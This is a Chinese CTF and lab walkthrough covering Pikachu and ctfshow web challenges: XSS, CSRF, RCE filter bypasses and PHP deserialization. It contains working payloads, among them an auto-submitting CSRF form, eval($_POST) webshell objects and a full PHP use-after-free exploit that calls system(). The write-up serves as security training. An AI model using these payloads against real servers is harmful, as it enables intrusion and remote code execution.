皮卡丘靶场通关
XSS之htmlspecialchars
php的htmlspecialchars() 函数就是把预定义的字符转换为 HTML 实体。
&(和号)成为&
"(双引号)成为"
'(单引号)成为'
<(小于)成为<
‘>’(大于)成为>
输入一些特殊字符, 查看网页源代码 发现除了’,其余的都被转义了,那我们进行闭合单引号 ' onclick=alert(1) 点击一下这个标签
XSS之href
输入一串特殊字符 所有的特殊字符都被转义 javascript:alert(1);
<a href=javascript:alert(1);>test</a>
XSS之JS输出
构造payload
tmac';alert(1);//
payload填入原输出位置就会变成
<script>
$ms='tmac';alert(1);//';
......
</script>
CSRF
CSRF和XSS区别
- CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限
- XSS是直接盗取到了用户的权限,然后实施破坏。
网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
- 对敏感信息的操作增加安全的token;
- 对敏感信息的操作增加安全的验证码;
- 对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。
CSRF(get)
首先我们在提示里面拿到账号密码,登录进去 这个时候修改个人信息,简单修改下信息,然后提交
这时候肉眼看不到url的变化,但是抓包可以 我们可以对其进行修改,那么就能成功更改别人资料了。修改完后
- 放包即可看见修改
- 新地址放进url里面
- 当然也可以对链接进行修饰,生成短链接
短链接网址
CSRF(post)
可以自己,建一个表单,让被攻击者点恶意站点表单的URL 通过表单的URL去向存在CSRF漏洞的页面去提交POST请求
<!DOCTYPE html>
<html>
<head lang="en">
<title>csrf_post</title>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form action="http://localhost/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="text" name="sex" value="1"><br>
<input type="hidden" name="phonenum" value="hacker"><br>
<input type="hidden" name="add" value="china"><br>
<input type="hidden" name="email" value="hacker"><br>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
CSRF防范(Token)
使用token是防备很多web漏洞的一个常用方法
我们来看看源码,修改用户信息时,服务器会比较url中的token字段和session中的token字段,如果相同才能修改用户信息。修改完用户信息之后,会用set_token()函数生成新的token,将其返回到html表单中并隐藏起来,以便下次用户修改信息时代入url。 set_token()函数如下图所示,在生成新token之前会先销毁老token,避免token重复使用
命令执行
web56 无字母数字RCE
这里是无字母数字的命令执行,先构造一个文件上传
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="http://c7558614-8d66-4605-b5b3-e6750decfac1.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></p>
<p><input type="submit" value="submit"></p>
</form>
</body>
</html>
随便上传一个文件 进行抓包 1,无字母无数字RCE先.%20 [@-[] 匹配大写字母 2,往里面输入内容看里面有没有回显 查看目录 捕获flag(因为直接抓不到,那就去根目录里面找)
web57 特殊符号代替数字
这道题连.都过滤了,其实仔细看看题,发现只要输进去36就行。如何输进去数字呢?在linux里面试试 发现$((~$(()))) 是-1,$(($(()))) 是0.那么我们可以输入36次在取反 这个时候在地址栏输入,最后打开源代码
web58 文件读取
先看看能不能读取目录,可以看到是被禁了
那么我们试试文件读取,看看是否被禁(盲猜flag.php) c=echo file_get_contents('flag.php');
web 59-65[post] 用include进行文件读取(base64)
方法一
base64读取 1=php://filter/convert.base64-encode/resource=flag.php
方法二
c=highlight_file('flag.php'); c=echo file_get_contents('flag.php'); c=show_source('flag.php')
web 66-67
首先输入 c=highlight_file('flag.php');
发现没有报错,但是不在这里,那是不是名字改了呢?我们看看目录 c=var_dump(scandir('.'));查看当前目录 c=var_dump(scandir('../'));查看上一级目录 c=var_dump(scandir('/'));查看根目录1 c=print_r(scandir('/'));查看根目录2 找到了,我们执行(注意是根目录里的) c=highlight_file('/flag.txt');
web 68
c=var_dump(scandir('/')); 查看根目录发现flag.txt 前面几种函数都不能用了,那我们试一下include c=include('/flag.txt'); 因为这里不是php,html可以默认输出
web 71
- ob_get_contents() 只是得到输出缓冲区的内容,但不清除它。
- ob_end_clean () 清空(擦除)缓冲区并关闭输出缓冲
退出就完了
web72
借助一个脚本(通过php的垃圾回收绕过 )
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>
先将脚本放在c=后面(记得删除<?php ?>),然后对内容进行URLencode。
web73
查看一下文件名 过滤了var_dump,print_f,那我们试试别的 c=var_export(scandir("/"));exit(); 得到是flagc.txt c=include("/flagc.txt");exit();
web 74
读取文件 c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0); 得到flagx.txt c=include("/flagc.txt");exit();
web 75,76
读取文件 c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0); SQL语句来读文件绕过open_basedir和disable_function
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串
class S{
public $test="pikachu";
}
$s=new S();
serialize($s);
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test;
- 如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
常见的魔法方法
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup 将在序列化之后立即被调用
web254
?username=xxxxxx && password=xxxxxx
web255
- 这里与上题相比,$isVip一直是false,那么我们先改成true
- 最后输出,要记得编码,因为这里面既有public又有private,private里面是有不可见字符的
- new这个类
- 需要序列化以后才能进行url编码
- 所以我们把源码放本地修改
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
echo urlencode(serialize(new ctfShowUser()))
?>
得到一串编码
打开谷歌浏览器->检查->Aplication 将user传入cookie 最后以get方式输出username和password 也可以用抓包,在requests里面放Cookie
web256
- 判断1:username和password都存在
- 判断2: 要能登录成功
- 判断3: isVIP要为True
- 判断4:username!==password(弱类型)
- 放进本地修改
<?php
class ctfShowUser{
public $username='1';
public $password='2';
public $isVip=true;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
echo urlencode(serialize(new ctfShowUser()))
?>
web 257
- 在反序列化结束,会调用getInfo方法不过是info里面的,改成backDoor
- 对code进行初始化
private $isVip=false; 下面没有判断,所以可以不用改__destruct() 销毁时自动调用- __construct():使用关键字new实例化对象时会自动调用构造方法
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code='eval($_POST[1])';
public function getInfo(){
eval($this->code);
}
}
echo urlencode(serialize(new ctfShowUser()))
?>
我们可以用RCE来做这个题了 捕捉flag,查目录 尝试cat,发现做不出来,那么换tac
web258
放进本地序列化一下,这里正则是说不能出现O:数字,那么我们序列后看看出现数字的情况进行绕过
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code='eval($_POST[1]);';
public function getInfo(){
eval($this->code);
}
}
$a=serialize(new ctfShowUser());
echo $a;
?>
出现了两个数字 /[oc]:\d+:/i [oc]:表示的就是o:或者c: 将这两个数字绕过:前面是+
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code='system("tac ./flag.php");';
public function getInfo(){
eval($this->code);
}
}
$c=serialize(new ctfShowUser);
$b=str_replace(':11',':+11',$c);
$b=str_replace(':8',':+8',$b);
echo(urlencode($b));
?>
- 这里直接在code进行抓捕flag
web259
web260
这题跟反序列化没啥关系
?ctfshow=ctfshow_i_love_36D
web 261
<?php
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
$a= new ctfshowvip('877.php','<?php eval($_POST[a]);?>');
echo urlencode(serialize($a));
?>
因为0x36d== 877a(弱类型比较,自然也==877.php) 然后我们传入一句话木马 a=system('ls /'); a=system('cat /flag_is_here');
[MRCTF2020]Ezpop
考点:pop链 具体参考这篇文章 思路分析:仍然是先找链子的头和尾,头部依然是一个GET传参,而尾部在Modifier 类中的append() 方法中,因为里面有个include 可以完成任意文件包含,那我们很容易就可以想到用伪协议来读文件,综合上面的提示,应该flag就是在flag.php中,我们把它读出来就好;找到尾部之后往前倒推,在Modifier 类中的__invoke() 调用了append() ,然后在Test类中的__get() 返回的是$function() ,可以调用__invoke() ,再往前Show类中的__toString() 可以调用__get() ,然后在Show类中的__wakeup() 中有一个正则匹配,可以调用__toString() ,然后当我们传入字符串,反序列化之后最先进入的就是__wakeup() ,这样子头和尾就连上了
<!-- show __wakeup
Show __tostring
Test __get
Modifier __invoke
因为__invoke直接调用append,所以对append不进行改变
-->
<?php
class Modifier{
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a=new show();
$b=new show();
$c=new Test();
$d=new Modifier();
$a->source=$b;
$b->str=$c;
$c->p=$d;
echo urlencode(serialize($a));
?>
|